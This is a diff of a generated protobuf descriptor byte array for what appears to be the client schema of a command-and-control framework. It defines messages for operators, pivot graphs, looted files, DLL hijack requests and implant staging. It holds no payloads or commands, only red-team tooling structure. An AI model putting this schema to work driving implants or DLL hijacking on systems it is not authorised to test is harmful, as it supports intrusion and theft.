- 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e,
- 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04,
- 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b,
- 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
- 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65,
- 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f,
- 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12,
- 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52,
- 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69,
- 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73,
- 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c,
- 0x64, 0x72, 0x65, 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69,
- 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68,
- 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22,
- 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a,
- 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32,
- 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74,
- 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c,
- 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e,
- 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12,
- 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61,
- 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03,
- 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74,
- 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09,
- 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65,
- 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07,
- 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03,
- 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c,
- 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72,
- 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f,
- 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x09, 0x4f, 0x70,
- 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61,
- 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e,
- 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22,
- 0xa2, 0x01, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e,
- 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c,
- 0x0a, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04,
- 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68,
- 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18,
- 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79,
- 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04,
- 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f,
- 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e,
- 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65,
- 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61,
- 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45,
- 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b,
- 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73,
- 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f,
- 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e,
- 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
- 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75,
- 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76,
- 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73,
- 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
- 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
- 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20,
- 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57,
- 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f,
- 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e,
- 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43,
- 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65,
- 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,
- 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61,
- 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52,
- 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65,
- 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74,
- 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62,
- 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76,
- 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c,
- 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10,
- 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72,
- 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c,
- 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08,
- 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08,
- 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f,
- 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49,
- 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70,
- 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c,
- 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48,
- 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f,
- 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a,
- 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a,
- 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
- 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52,
- 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74,
- 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04,
- 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50,
- 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12,
- 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49,
- 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06,
- 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75,
- 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a,
- 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a,
- 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73,
- 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73,
- 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69,
- 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73,
- 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28,
- 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43,
- 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
- 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78,
- 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79,
- 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12,
- 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74,
- 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46,
- 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72,
- 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
- 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01,
- 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78,
- 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c,
- 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73,
- 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28,
- 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73,
- 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c,
- 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66,
- 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
- 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c,
- 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54,
- 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a,
- 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20,
- 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
- 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04,
- 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12,
- 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d,
- 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+ 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x54, 0x0a, 0x10, 0x52, 0x65,
+ 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10,
+ 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79,
+ 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32,
+ 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75,
+ 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01,
+ 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12,
+ 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65,
+ 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08,
+ 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x27, 0x0a, 0x0f, 0x49,
+ 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x14,
+ 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x42,
+ 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, 0x0c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
